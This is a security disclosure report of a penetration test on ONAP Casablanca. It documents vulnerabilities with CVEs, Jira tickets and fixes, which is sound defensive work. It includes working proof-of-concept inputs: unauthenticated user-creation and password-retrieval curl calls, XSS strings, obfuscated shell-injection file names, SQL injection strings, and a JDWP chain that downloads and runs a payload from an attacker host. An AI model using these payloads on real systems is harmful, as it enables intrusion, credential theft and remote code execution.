ONAP Penetration Test Report

Samsung R&D Institute Poland
Samsung Open Source Group

v1.0

1 Scope of this paper

ONAP is a huge application and literally any amount of resources could be spent on auditing its security. Unfortunately our resources were limited so we had to reduce the scope and focus on a few attack vectors. **That's why this paper cannot be viewed as a complete ONAP security code audit.** We've focused on finding different types of vulnerabilities that exist in ONAP rather than finding all their occurrences. The short term goal of this document is to work with community to get all those issues fixed, but the ultimate goal of this document is to rise ONAP Community members security awareness. We hope that disclosure of our findings will motivate contributors to pay more attention to security aspects of ONAP and perform code check in order to identify and fix even more vulnerabilities than described in this document.

2 Methodology

2.1 Test environment

For the purpose of this pentest, ONAP Casablanca release has been deployed. The deployment has been done according to ONAP user guide[7] using OOM, including Kubernetes cluster setup and Rancher[6]. Pure upstream ONAP has been used – there is no modifications to source code nor to deployment scripts. The full list of used container images with respective versions and fingerprints has been attached in *docker_images.txt*.

Unfortunately at the time of deployment not all pods were able to start correctly. We had to fix *aai-aai-cassandra* stateful set by removing content of claimed persistent volume and restarting desired pods. Listing 2.1 contains a list of failed pods in our deployment.

```
NAME                                            READY     STATUS
demo-aai-aai-data-router-f94ffbf79-4xnp9        1/2       Error
demo-appc-appc-ansible-server-6bccc4c89c-hlhkq  0/1       CrashLoopBackOff
demo-dmaap-dmaap-dr-node-598dfcc985-55wsd       0/1       CrashLoopBackOff
dep-service-change-handler-6755b99996-hnhrk     0/1       CrashLoopBackOff
```

Listing 2.1: Failed pods in our deployment.

2.2 Assumptions

Based on discussion with SECCOM during ONAP DDF in January[2], we defined below assumptions for our pentest:

Setup Process Security
We assume that ONAP deployment is done in a controlled environment without any interception by the attacker. Deployed containers are genuine and untouched by the attacker.

OS-level security and below
We assume that nodes used for the deployment are running latest, vulnerability-free Linux distribution.

Kubernetes Cluster Security
We assume that access to the Kubernetes API is well protected and attacker is not able to deploy his own pods. Additionally, attacker does not have control over any pod that runs inside that cluster.

Attacker has access to all ports exposed outside of cluster
We assume that there are no firewall rules preventing attacker from accessing any port exposed by ONAP outside of Kubernetes Cluster.

2.3 Threat model

Taking into account assumptions listed in Section 2.2 we decided to focus on security of services that are available outside of Kubernetes cluster (*NodePorts*). The full list of services exposed outside of cluster can be found on public ONAP wiki[4]. So the considered threat model can be viewed as a malicious insider (employee) that already has an access to the intranet but he or she would like to do something that he or she has no rights to. This covers both, an employee that doesn't have access to ONAP but would like to get one and an employee that has limited access to the ONAP but would like to escalate his or her privileges. Another real-life scenario could be an automated worm that somehow got inside operator network and now is trying to take control over ONAP instance.

2.4 Severity assessment

In order to comply with ONAP Vulnerability Management Procedure[3], we decided to use the same severity assessment model as defined in the process:

Critical

This rating is given to flaws that could be easily exploited by a remote unauthenticated attacker and lead to system compromise (arbitrary code execution) without requiring user interaction. These are the types of vulnerabilities that can be exploited by worms. Flaws that require an authenticated remote user, a local user, or an unlikely configuration are not classed as Critical impact.

Important

This rating is given to flaws that can easily compromise the confidentiality, integrity, or availability of resources. These are the types of vulnerabilities that allow local users to gain privileges, allow unauthenticated remote users to view resources that should otherwise be protected by authentication, allow authenticated remote users to execute arbitrary code, or allow local or remote users to cause a denial of service.

Moderate

This rating is given to flaws that may be more difficult to exploit but could still lead to some compromise of the confidentiality, integrity, or availability of resources, under certain circumstances. These are the types of vulnerabilities that could have had a Critical impact or Important impact but are less easily exploited based on a technical evaluation of the flaw, or affect unlikely configurations.

Low

This rating is given to all other issues that have a security impact. These are the types of vulnerabilities that are believed to require unlikely circumstances to allow exploitation, or where a successful exploit would give minimal consequences.

3 Discovered Vulnerabilities

3.1 HTTP protocol exposed outside of cluster

Description:

ONAP exposes huge number of ports outside of Kubernetes cluster, which has been documented in [4]. Unfortunately many of exposed services are based on HTTP without any encryption. This is a security issue as it forces users to send unencrypted passwords over the net.

Severity:

Important

Affected projects:

Collected in the table below:

External Port	Service Name	OJSI ticket
8989	portal-app	OJSI-97
30201	sdnc-portal	OJSI-98
30202	sdnc	OJSI-99
30203	sdnc-dgbuilder	OJSI-100
30205	sdc-be	OJSI-101
30206	sdc-fe	OJSI-102
30209	robot	OJSI-103
30211	appc	OJSI-104
30212	portal-sdk	OJSI-105
30215	portal-app	OJSI-106
30218	pap	OJSI-107
30219	pap	OJSI-108
30223	xdcae-datafile-collector	OJSI-109
30224	so-monitor	OJSI-110
30227	message-router	OJSI-111
30228	appc-dgbuilder	OJSI-112
30230	appc	OJSI-113
30232	aai	OJSI-114
30234	pomba-kibana	OJSI-115
30235	xdcae-ves-collector	OJSI-116
30236	nexus	OJSI-117
30237	policy-apex-pdp	OJSI-118
30238	vid	OJSI-119
30241	dmaap-bc	OJSI-120
30244	aaf-sms-db	OJSI-121
30248	oof-osdf	OJSI-122
30249	pomba-data-router	OJSI-123

External Port	Service Name	OJSI ticket
30253	log-kibana	OJSI-124
30254	log-es	OJSI-125
30256	sdc-wfd-fe	OJSI-126
30257	sdc-wfd-be	OJSI-127
30258	clamp	OJSI-128
30260	cli	OJSI-129
30261	multicloud-azure	OJSI-130
30262	dcae	OJSI-131
30263	sdc-dcae-fe	OJSI-132
30265	sdc-dcae-dt	OJSI-133
30270	consul-server-ui	OJSI-134
30271	cli	OJSI-135
30274	nbi	OJSI-136
30275	oof-has-api	OJSI-137
30277	so	OJSI-138
30280	msb-iag	OJSI-139
30281	msb-discovery	OJSI-140
30282	msb-eag	OJSI-141
30283	msb-iag	OJSI-142
30284	msb-eag	OJSI-143
30285	msb-consul	OJSI-144
30288	sniro-emulator	OJSI-145
30289	appc-cdt	OJSI-146
30291	multicloud	OJSI-148
30292	multicloud-vio	OJSI-149
30293	multicloud-ocata	OJSI-150
30294	multicloud-windriver	OJSI-151
30295	clamp	OJSI-152
30296	multicloud-pike	OJSI-153
30297	refrepo	OJSI-154
30398	LOG demo target	OJSI-155
30399	uui-server	OJSI-156

Recommendation:

TLS should be enforced for all services. Additionally ingress controller should be used to limit number of exposed ports.

3.2 Unprotected services

Description:

Some of services exposed by ONAP are not only served using plain text protocol but also left unprotected. Those services may be easily used even by malware.

Severity:

Critical

Affected projects:

Discovered projects (probably not all):

External Port	Service Name	Comment	Ticet	CVE
30230	appc	Used in 3.11 and 3.12.	OJSI-32	CVE-2019-12124
30253	log-kibana		OJSI-164	CVE-2019-12125
30234	pomba-kibana		OJSI-165	CVE-2019-12125
30290	cdash-kibana		OJSI-166	CVE-2019-12125
32010	xdcae-tca-analytics		OJSI-167	CVE-2019-12126
30270	consul-server-ui		OJSI-168	CVE-2019-12127
30224	so-monitoring		OJSI-169	CVE-2019-12128
30281	MSB		OJSI-170	CVE-2019-12129
30254	log-es		OJSI-171	CVE-2019-12125
30285	msb-consul		OJSI-172	CVE-2019-12129
30271	cli		OJSI-173	CVE-2019-12130

Recommendation:

All services exposed by ONAP should require authentication. Preferably some SingleSignOn solution should be used.

3.3 Unprotected API for user creation

Description:

Some ONAP projects are protected with username and password but they expose another API, which is unprotected and allows to create a new user. This user can be later used to log in and access password-protected API of that service. Sample command which creates new user in SDC portal and then checks if it exists has been presented below:

```
curl -k -i http://<IP addr>:30205/sdc2/rest/v1/consumers -H 'USER_ID: ↩
    jh0003' -X POST --data '{"consumerName": "lwtest","consumerSalt": "2↩
    a1f887d607d4515d4066fe0f5452a50","consumerPassword": "0↩
    a0dc557c3bf594b1a48030e3e99227580168b21f44e285c69740b8d5b13e33b"}' -↩
    H "Content-Type: application/json"
#check if new user exists
curl -k -i http://<IP addr>:30205/sdc2/rest/v1/consumers/lwtest -H '↩
    USER_ID: jh0003'
```

Severity:

Important

Affected projects:

SDC and SDNC

Recommendation:

SingleSignOn solution should be used. There should be only one API dedicated for user creation in whole ONAP. Access to that API should be limited to users with required privileges/roles.

Jira Ticket:

OJSI-89, OJSI-90 (SDC), OJSI-91 (SDNC)

3.4 Cross-site scripting

Description:

ONAP Portal allows to use JavaScript code instead of text in many forms. This can be used for example to execute action with rights of other user.

Severity:

Important

Affected projects:

Portal and probably many more with UI. Sample vulnerable forms:

Form	Field	Payload	XSS Type	Ticket
saveNewUser	firstName	`aaa<img src=‘˜‘ onerror=prompt(666)>a`	Persistent	OJSI-16
saveNotification	msgHeader	`XSS??<u>a<i><img onerror=prompt(999)>`	Persistent	OJSI-17
onboardingApps	name	`test<img src=‘˜‘ onerror=prompt(123)>`	Persistent	OJSI-18
microservices	name	`XSS2test<img src=‘˜‘ onerror=prompt(5)> <b>a<u>c`	Persistent	OJSI-19
basicAuthAccount	applicationName	`test<img src=‘˜‘ onerror=prompt(45)>`	Persistent	OJSI-20
functionalMenuItem	text	`1<b>tes<img src=‘˜‘ onerror=prompt(32)>t\_menu`	Persistent	OJSI-21
saveNotification	startTime	`pbzv5<img src=a onerror=alert(1)>j2m1a`	Reflected	OJSI-22

Recommendation:

All user inputs should be validated, escaped and sanitized.

Jira Ticket:

OJSI-14 (General Epic), OJSI-15 (Portal)

CVE:

CVE-2019-12317

3.5 Active user password retrieval

Description:

ONAP Portal allows to retrieve user password based on SESSION value stored in Cookie. Call to `ONAPPORTAL/portalApi/loggedinUser`, which is used to retrieve details about active user, returns not only email addresses and personal data but also **password in plain text**. Command in listing below allows to retrieve password of active user based on session id.

```
curl -k -i -H 'Accept: application/json' -H 'Cookie: SESSION=↩
    YWNmM2IwNTZ+ZTkzOH40NTM2fmI1MGZ+YTIxMGY3MWZlMDBi' -X GET https://<IP↩
     addr>:30225/ONAPPORTAL/portalApi/loggedinUser
```

Severity:

Important

Affected projects:

Portal

Recommendation:

User password should be stored hashed or in any other irreversible form and never sent from server to client.

Jira Ticket:

OJSI-65

CVE:

CVE-2019-12122

3.6 Padding oracle

Description:

A call to `ONAPPORTAL/processSingleSignOn` with invalid UserId returns the exact Java error if server was unable to decrypt provided cookie. Below command can be used to confirm this:

```
curl -k -i 'https://<IP addr>:30225/ONAPPORTAL/processSingleSignOn' -H ↩
    'Cookie: UserId=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE'
#...
javax.crypto.BadPaddingException: Given final block not properly padded↩
    . Such issues can arise if a bad key is used during decryption.
```

This makes the whole system vulnerable to padding oracle attack[5] which allows to decrypt anything that has been encrypted with the same key that is used to encrypt UserId value.

Severity:

Important

Affected projects:

Portal

Recommendation:

All decryption function should return only decryption failed error, without any details why it failed.

Jira Ticket:

OJSI-92

CVE:

CVE-2019-12121

3.7 Arbitrary user impersonation

Description:

Some ONAP component allow to impersonate any user. In sdc-wfd attacker may just set USER_ID to any value to get access to all resources.

```
curl -H 'USER_ID: abcd' -X GET http://<IP ADDR>:30256/wf/workflows
```

In appc-cdt there is even pop-up which allows to chose user name without asking for any password.

Severity:
Important

Affected projects:
sdc-wfd-fe and appc-cdt

Recommendation:
All services exposed by ONAP should require authentication. Preferably some SingleSignOn solution should be used.

Jira Ticket:
OJSI-93 (General epic), OJSI-94 (SDC), OJSI-95 (APPC)

CVE:
CVE-2019-12131

3.8 Command Injection

Description:
SDNC OAM component allows for arbitrary command execution inside the pod in four different places.

1. oam/admportal/server/router/routes/sla.js:149
   This command execution can be triggered without any user authentication using below command:

   ```
   touch ’|| echo L3RtcC9kZ1VwbG9hZA== | base64 -d | xargs touch #’
   http -f ’http://<IP ADDRESS>:30201/sla/dgUpload’ filename@\|\|\ ↩
       echo\ L3RtcC9kZ1VwbG9hZA\=\=\ \|\ base64\ -d\ \|\ xargs\ touch\ ↩
       \#
   # Verify tha file has been created
   kubectl exec --namespace=onap demo-sdnc-sdnc-portal-5584c696d-v5grr↩
        ls ‘echo L3RtcC9kZ1VwbG9hZA== | base64 -d‘
   ```

   Execution of above commands results in new file being created in /tmp of sdnc-portal pod.
2. oam/admportal/server/router/routes/sla.js:216
   Execution of following command can be triggered without any user authentication. The process of triggering this issue is similar to the previous one. Just replace echo’ed value with `L3RtcC91cGxvYWQ=` to ensure that the file is created with a different name.
3. oam/admportal/server/router/routes/sla.js:282
   Execution of following command requires valid user session in order to be exploitable. Unfortunately taking into account that the API to create a new user in SDNC is unprotected it does not increase the security level. To reproduce the attack just authenticate as some user and then try to access:
   `http://<IP addr>:30201/sla/printAsXml?module=|| touch /tmp/printAsXml #`
4. oam/admportal/server/router/routes/sla.js:336
   Execution of following command requires valid user session in order to be exploitable. This command injection is similar to the previous one, with exactly the same requirements. Just use

`http://<IP addr>:30201/sla/printAsGv?module=|| touch /tmp/printAsGv #` to reproduce it.

Severity:
Critical

Affected projects:
SDNC OAM

Recommendation:
Avoid using exec() if possible, validate input provided by the user and escape all special shell characters.

Jira Ticket:
OJSI-40 (General for SDNC), OJSI-41, OJSI-42, OJSI-43, OJSI-199

CVE:
CVE-2019-12123, CVE-2019-12113, CVE-2019-12112, CVE-2019-12132

3.9 SQL Injection

Description:
Number of ONAP components allows to execute arbitrary SQL statements on their database.

Severity:
Important

Affected projects:
SDNC, Portal, Appc (Controller Design Tool)
Sample vulnerabilities exploitable without any authentication:

```
time http -f http://<IP addr>:30201/formSignUp nf_email="'; SELECT ↩
  SLEEP(5) -- "
time http -f http://<IP addr>:30201/formSignUp nf_email=↩
  $RANDOM@$RANDOM nf_password="','')','A'); SELECT SLEEP(5) -- "
time http -f http://<IP addr>:30201/formLogin password=pass email="';↩
   SELECT SLEEP(5) -- "

```

Sample vulnerabilities exploitable only with authentication:

```
time http "http://<IP addr>:30201/mobility/deleteVnfNetworkData?↩
  status=pending&id=-99; SELECT SLEEP(5); #" Cookie:"connect.sid=$sid"
time http "http://<IP addr>:30201/mobility/deleteVnfData?status=↩
  pending&id=-99; SELECT SLEEP(5); #" Cookie:"connect.sid=$sid"
time http "http://<IP addr>:30201/mobility/deleteVnfProfile?vnf_type=↩
  ABCD'; SELECT SLEEP(5); #" Cookie:"connect.sid=$sid"
time http "http://<IP addr>:30201/mobility/deleteVmNetwork?↩
  network_role=a&vm_type=b&vnf_type=ABCD'; SELECT SLEEP(5); #" Cookie:↩
  "connect.sid=$sid"

```

It's worth to mention that those are only examples and there is a lot of forms vulnerable to this attack.

Recommendation:

Where only possible SQL statement should be prepared with arguments place-holders instead of simple string concatenation with user data. When it's not possible user input should be validated, sanitized and escaped.

Jira Ticket:

OJSI-24 (General epic), OJSI-25 (APPC), OJSI-34 (SDNC), OJSI-174 (Portal)

CVE:

CVE-2019-12316, CVE-2019-12319, CVE-2019-12318

3.10 Secret Management Service allows to access all stored data

Description:

AAF Secret Management Service (SMS) is exposed outside of cluster and allows attacker to access all stored credentials without any authentication.

```
http -v --verify=no https://<IP ADDR>:30243/v1/sms/domain/<DOMAIN>/secret/<SECRET>

```

Severity:

Important

Affected projects:

AAF SMS

Recommendation:

AAF SMS design clearly states that every service that would like to access the secret should present a valid TLS certificate[1] in order to access the secret. Unfortunately this seems to be not implemented yet. ONAP should have good policy on not releasing functionality that is unready and have security implications.

Jira Ticket:

OJSI-206

CVE:

CVE-2019-12320

3.11 Arbitrary file read via Jolokia

Description:

Jolokia interface is exposed unprotected outside of Kubernetes cluster. Attacker may abuse loading file into database functionality of that interface to read arbitrary file from appc pod.

Severity:

Important

Affected projects:
APPC

Recommendation:
Jolokia should not be exposed or at least be protected.

Jira Ticket:
OJSI-63

CVE:
CVE-2019-12124

3.12 Arbitrary file override via Jolokia

Description:
Jolokia interface is exposed unprotected outside of Kubernetes cluster. Attacker may abuse core dumping functionality in order to override arbitrary file from appc pod.

Severity:
Critical

Affected projects:
APPC

Recommendation:
Jolokia should not be exposed or at least be protected.

Jira Ticket:
OJSI-63

CVE:
CVE-2019-12124

3.13 Arbitrary code execution via JDWP

Description:
Java Debug Wire Protocol is present in some of ONAP pods. Fortunately it's not exposed outside of Kubernetes cluster but any of attacks described in 3.8 can be easily used to get inside the Kubernetes cluster. To achieve root shell attacker has to connect to JDWP and insert and trigger some breakpoint and then execute:

```
print new java.lang.Runtime().exec("wget http://<attackerip>/payload"↩
  )
print new java.lang.Runtime().exec("chmod +x payload")
print new java.lang.Runtime().exec("./payload")

```

Severity:
Critical

Affected projects:

Holmes, SDC, VNFSDK

Recommendation:

This interface should not be shipped in production environment. OOM should provide an easy way to turn it off.

Jira Ticket:

OJSI-10 (General epic), OJSI-66, OJSI-76 - OJSI-80, OJSI-88

CVE:

CVE-2019-12114, CVE-2019-12115, CVE-2019-12116, CVE-2019-12117, CVE-2019-12118, CVE-2019-12119, CVE-2019-12120

4 Discovered security issues

4.1 Risky services exposure

Description:
Some ONAP projects expose more than just an API to interact with. This is dangerous as it increases the attack surface. Risky services includes SSH, DBs, debug interfaces etc.

Severity:
Moderate to Critical depending on exploitability

Affected projects:
APPC, SDC, DCAE, MSB, CLAMP

Recommendation:
Number of ports exposed outside of cluster should be reduced and monitored.

Jira Ticket:
OJSI-182 - OJSI-187

4.2 Unprotected swagger-ui exposed

Description:
Couple of ONAP projects expose unprotected Swagger UI interface.

Severity:
Low

Affected projects:
APPC, xdcae-datafile-collector, xdcae-ves-collector, sdc-wfd-be

Recommendation:
This interface should not be shipped in project containers but rather as a separate artifact and placed in documentation or this interface should be easy to disable during deployment.

Jira Ticket:
OJSI-28 - OJSI-31, OJSI-33

4.3 Passwords are stored encrypted instead of hashed

Description:
ONAP Portal and SDNC store user passwords encrypted using AES key instead of just hashed. This has serious security implications. This issue has been even mentioned in

"Known issues" section of 2.2.0 but never got fixed nor mentioned in Security Release notes.

Severity:
Important

Affected projects:
Portal, SDNC

Recommendation:
All passwords should be stored as hashes.

Jira Ticket:
OJSI-190

4.4 Processes running as a root

Description:
A lot of ONAP projects run their web servers, tomcats or even DBs with root privileges.

Severity:
Important

Affected projects:
Almost all

Recommendation:
User-available processes should never run as root.

4.5 The same secrets are used for multiple deployments

Description:
There is a lot of passwords hard-coded in OOM charts and other projects repositories. They are scattered around many different files and it's very hard to find and change them during deployment. Deploying ONAP with those default passwords makes them insecure as they are well known to the whole world.

Severity:
Moderate

Affected projects:
Almost all

Recommendation:
Passwords should be generated per deployment basis or easily configurable by user. All accounts that are created during the deployment should be well documented.

Jira Ticket:
OJSI-188

4.6 Read access to .htaccess

Description:

File .htaccess in ONAP Portal is available for reading without protection:

```
curl -X GET http://<IP addr>:8989/ONAPPORTAL/.htaccess

```

This file contains Apache configuration and may provide a lot of useful details to the attacker.

Severity:

Low

Affected projects:

Portal

Recommendation:

This file should not be used or protected against being read by the attacker.

Jira Ticket:

OJSI-26

4.7 Tomcat examples are not removed

Description:

VID container ships also Tomcat examples. Those should not be available in any production environment.

Severity:

Low

Affected projects:

VID

Recommendation:

Remove Tomcat examples from VID container.

4.8 It's possible to create user with empty password

Description:

ONAP Portal allows to not specify the password while creating a new user.

Severity:

Low

Affected projects:

Portal

Recommendation:

It should not be possible to create a user without password and additionally there should be well documented place where password complexity can be enforced.

Jira Ticket:

OJSI-23

4.9 Stack traces are not disabled

Description:

By default user may get stack trace in his browser when he crashes some command. Even though it's very useful for developer it should never happen in production-like deployment. Sample command to generate a stack trace:

```
https://<IP addr>:30225/ONAPPORTAL/processSingleSignOn?redirectUrl=https://aaa%0D%0Abbb.onap.org

```

Severity:

Moderate

Affected projects:

Portal and probably others

Recommendation:

Stack traces should be enabled only in developer environments. OOM should have well documented option to disable them.

Jira Ticket:

OJSI-191 (General epic), OJSI-192

4.10 Default web server landing page not changed

Description:

Many ONAP projects do not change the default landing page of web server. This leads to information leak about version used, some configuration etc.

Severity:

Low

Affected projects:

Almost all

Recommendation:

Default landing page should be disabled or automatic redirection to "real site" should be configured.

5 General security-related issues

5.1 Security release notes are not very useful

Description:

Most of projects add “Security” section to their release notes. Unfortunately most of the time those notes are useful and contain only the same useless sentence about CII badging.

Recommendation:

PTLs should be strongly encouraged to create meaningful security release notes.

5.2 Lack of ONAP security guideline

Description:

ONAP is a huge piece of software. It’s very hard to even know what has been really deployed as ONAP not to mention about any hardening.

Recommendation:

ONAP Security Guide should be created to allow users to clearly see what they have to configure to make ONAP safe.

Bibliography

[1] *AAF SMS design*. URL: https://onap.readthedocs.io/en/beijing/submodules/aaf/sms.git/docs/.

[2] *ONAP Penetration Test Workshop*. URL: https://sched.co/K1P0.

[3] *ONAP severity classification model*. URL: https://wiki.onap.org/display/DW/Severity+classification.

[4] *OOM NodePort List*. URL: https://wiki.onap.org/display/DW/OOM+NodePort+List.

[5] *Padding Oracle Attack*. URL: https://github.com/mpgn/Padding-oracle-attack.

[6] *Setting Up Guide*. URL: https://onap.readthedocs.io/en/latest/submodules/oom.git/docs/oom_cloud_setup_guide.html.

[7] *Setting Up ONAP*. URL: https://onap.readthedocs.io/en/latest/guides/onap-developer/settingup/index.html#installing-onap.